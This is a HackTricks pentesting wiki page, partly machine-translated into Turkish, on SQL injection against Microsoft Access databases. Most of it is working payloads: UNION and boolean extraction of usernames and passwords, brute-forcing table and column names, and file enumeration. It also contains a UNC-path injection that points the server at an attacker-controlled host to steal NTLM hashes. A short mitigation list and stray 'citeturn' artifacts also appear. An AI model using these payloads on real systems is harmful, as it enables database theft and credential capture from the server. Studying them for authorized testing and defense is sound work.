MS Access SQL Injection

Reading time: 9 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Online Playground

DB Limitations

String Concatenation

String birleştirme & (%26) ve + (%2b) karakterleri ile mümkündür.

sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Yorumlar

MS Access'te yorum yoktur, ancak görünüşe göre bir sorgunun sonunu NULL karakteri ile kaldırmak mümkündür:

sql
1' union select 1,2 from table%00

Eğer bu çalışmıyorsa, sorgunun sözdizimini her zaman düzeltebilirsiniz:

sql
1' UNION SELECT 1,2 FROM table WHERE ''='

Stacked Queries

Desteklenmiyor.

LIMIT

LIMIT operatörü uygulanmamıştır. Ancak, SELECT sorgu sonuçlarını ilk N tablo satırı ile sınırlamak mümkündür, TOP operatörünü kullanarak. TOP, döndürülecek satır sayısını temsil eden bir tam sayı argümanı alır.

sql
1' UNION SELECT TOP 3 attr FROM table%00

Just like TOP you can use LAST which will get the satırları sonundan.

UNION Sorguları/Alt sorgular

Bir SQLi'de genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu çalıştırmak istersiniz. MS Access her zaman alt sorgularda veya ek sorgularda bir FROM belirtilmesini gerektirir.
Bu nedenle, bir UNION SELECT veya UNION ALL SELECT veya bir koşul içinde parantez içindeki bir SELECT çalıştırmak istiyorsanız, her zaman geçerli bir tablo adı ile bir FROM belirtmeniz gerekir.
Bu nedenle, geçerli bir tablo adını bilmeniz gerekir.

sql
-1' UNION SELECT username,password from users%00

Chaining equals + Substring

warning

Bu, mevcut tablonun değerlerini tablonun adını bilmeden dışa aktarmanıza olanak tanıyacaktır.

MS Access, '1'=2='3'='asd'=false gibi garip sözdizimlerine izin verir. Genellikle SQL enjeksiyonu bir WHERE ifadesinin içinde olacaktır ve bunu kötüye kullanabiliriz.

Bir MS Access veritabanında bir SQLi'ye sahip olduğunuzu ve bir sütun adının username olduğunu bildiğinizi (veya tahmin ettiğinizi) hayal edin ve dışa aktarmak istediğiniz alan budur. Zincirleme eşitlik tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve Mid fonksiyonunu kullanarak alt dizeleri elde etmek için potansiyel olarak içerik dışa aktarabilirsiniz.

sql
'=(Mid(username,1,3)='adm')='

Eğer tablonun adını ve dökülecek sütunu biliyorsanız, Mid, LAST ve TOP kombinasyonunu kullanarak tüm bilgileri sızdırmak için boolean SQLi kullanabilirsiniz:

sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

Brute-forcing Tables names

Chaining equals tekniğini kullanarak tablo adlarını brute force etmek için şunları kullanabilirsiniz:

sql
'=(select+top+1+'lala'+from+<table_name>)='

Aynı zamanda daha geleneksel bir yol da kullanabilirsiniz:

sql
-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

Brute-Forcing Sütun Adları

Mevcut sütun adlarını brute-force etmek için eşit zincirleme hilesini kullanabilirsiniz:

sql
'=column_name='

Ya da group by ile:

sql
-1' GROUP BY column_name%00

Veya farklı bir tablonun sütun adlarını brute-force ile bulabilirsiniz:

sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Veri Dökümü

Zaten eşit zincirleme tekniği ile mevcut ve diğer tablolardan veri dökümünü tartıştık. Ancak başka yollar da var:

sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

Kısacası, sorgu bir “if-then” ifadesi kullanarak başarı durumunda “200 OK” veya aksi takdirde “500 Internal Error” tetikler. TOP 10 operatöründen faydalanarak, ilk on sonucu seçmek mümkündür. Ardından LAST kullanımı, yalnızca 10. tuple'ı dikkate almayı sağlar. Bu değerde, MID operatörünü kullanarak basit bir karakter karşılaştırması yapmak mümkündür. MID ve TOP'un indeksini uygun şekilde değiştirerek, “username” alanının içeriğini tüm satırlar için dökebiliriz.

Zaman Tabanlı (Kör) Hileler

Jet/ACE SQL kendisi yerel bir SLEEP() veya WAITFOR fonksiyonu sunmamaktadır, bu nedenle geleneksel zaman tabanlı kör enjeksiyonlar sınırlıdır. Ancak, motoru yavaş veya yanıt vermeyen bir ağ kaynağına erişmeye zorlayarak ölçülebilir bir gecikme ekleyebilirsiniz. Motor, sonucu döndürmeden önce dosyayı açmaya çalışacağı için, HTTP yanıt süresi saldırganın kontrolündeki ana bilgisayara gidiş-dönüş gecikmesini yansıtır.

sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--

UNC yolunu şu şekilde ayarlayın:

  • yüksek gecikme bağlantısı arkasındaki bir SMB paylaşımına
  • SYN-ACK sonrasında TCP el sıkışmasını düşüren bir ana bilgisayara
  • bir güvenlik duvarı sinkhole'una

Uzak arama tarafından eklenen ekstra saniyeler, boolean koşulları için bir out-of-band zaman kehaneti olarak kullanılabilir (örneğin, yalnızca enjekte edilen koşul doğru olduğunda yavaş bir yol seçin). Microsoft, uzaktan veritabanı davranışını ve ilgili kayıt defteri kill-switch'ini KB5002984'te belgeler. citeturn1search0

Diğer İlginç Fonksiyonlar

  • Mid('admin',1,1) konum 1'den 1 uzunluğunda alt dize alır (başlangıç konumu 1'dir)
  • LEN('1234') dize uzunluğunu alır
  • ASC('A') karakterin ascii değerini alır
  • CHR(65) ascii değerinden dize alır
  • IIF(1=1,'a','b') eğer o zaman
  • COUNT(*) öğe sayısını sayar

Tabloları Sayma

buradan tablo adlarını almak için bir sorgu görebilirsiniz:

sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Ancak, MSysObjects tablosunu okuma erişiminiz olmadığında SQL Enjeksiyonları bulmanın çok tipik olduğunu unutmayın.

Dosya Sistemi Erişimi

Web Kök Dizin Tam Yolu

Web kök mutlak yolunun bilgisi, daha fazla saldırıyı kolaylaştırabilir. Uygulama hataları tamamen gizlenmemişse, mevcut olmayan bir veritabanından veri seçmeye çalışarak dizin yolu ortaya çıkarılabilir.

http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access, web dizininin tam yolunu içeren bir hata mesajı ile yanıt verir.

Dosya Sayımı

Aşağıdaki saldırı vektörü, uzaktaki dosya sisteminde bir dosyanın varlığını çıkarım yapmak için kullanılabilir. Belirtilen dosya mevcutsa, MS Access, veritabanı formatının geçersiz olduğunu bildiren bir hata mesajı tetikler:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Dosyaları saymanın bir diğer yolu, bir veritabanı.tablosu öğesini belirtmektir. Eğer belirtilen dosya mevcutsa, MS Access, veritabanı format hatası mesajı gösterir.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb Dosya Adı Tahmini

Veritabanı dosya adı (.mdb) aşağıdaki sorgu ile çıkarılabilir:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Burada name[i] bir .mdb dosya adıdır ve realTable, veritabanı içinde mevcut bir tablodur. MS Access her zaman bir hata mesajı tetikleyecek olsa da, geçersiz bir dosya adı ile geçerli bir .mdb dosya adı arasında ayrım yapmak mümkündür.

Uzaktan Veritabanı Erişimi & NTLM Kimlik Bilgisi Hırsızlığı (2023)

Jet 4.0'dan itibaren her sorgu, IN '<path>' ifadesi aracılığıyla farklı bir .mdb/.accdb dosyasında bulunan bir tabloyu referans alabilir:

sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';

Eğer kullanıcı girişi IN (veya JOIN … IN / OPENROWSET / OPENDATASOURCE çağrısının) sonrasına eklenirse, bir saldırgan kontrol ettiği bir ana bilgisayara işaret eden bir UNC yolu belirtebilir. Motor:

  1. uzak veritabanını açmak için SMB / HTTP üzerinden kimlik doğrulamayı deneyecektir;
  2. web sunucusunun NTLM kimlik bilgilerini sızdıracaktır (zorunlu kimlik doğrulama);
  3. uzak dosyayı ayrıştıracaktır – hatalı veya kötü niyetli bir veritabanı, birden fazla kez yamanmış Jet/ACE bellek bozulma hatalarını tetikleyebilir (örneğin, CVE-2021-28455).

Pratik enjeksiyon örneği:

sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -

Etkisi:

  • Net-NTLMv2 hash'lerinin dışarıdan sızdırılması (relay veya çevrimdışı kırma için kullanılabilir).
  • Yeni bir Jet/ACE ayrıştırıcı hatası istismar edilirse potansiyel uzaktan kod yürütme.

Hafifletmeler (eski Classic ASP uygulamaları için bile önerilir):

  • HKLM\Software\Microsoft\Jet\4.0\Engines altında AllowQueryRemoteTables = 0 kayıt değerini ekleyin (ve eşdeğer ACE yolunda). Bu, Jet/ACE'nin \\ ile başlayan uzak yolları reddetmesini zorlar.
  • Ağ sınırında outbound SMB/WebDAV'yi engelleyin.
  • Bir IN ifadesinin içinde yer alabilecek herhangi bir sorgu parçasını temizleyin / parametreleştirin.

Zorunlu kimlik doğrulama vektörü, 2023'te Check Point Research tarafından yeniden incelendi ve kayıt anahtarı yokken tamamen yamanmış Windows Server'da hala istismar edilebilir olduğunu kanıtladı. citeturn0search0

.mdb Şifre Kırıcı

Access PassView, Microsoft Access 95/97/2000/XP veya Jet Database Engine 3.0/4.0'ın ana veritabanı şifresini kurtarmak için kullanılabilecek ücretsiz bir araçtır.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin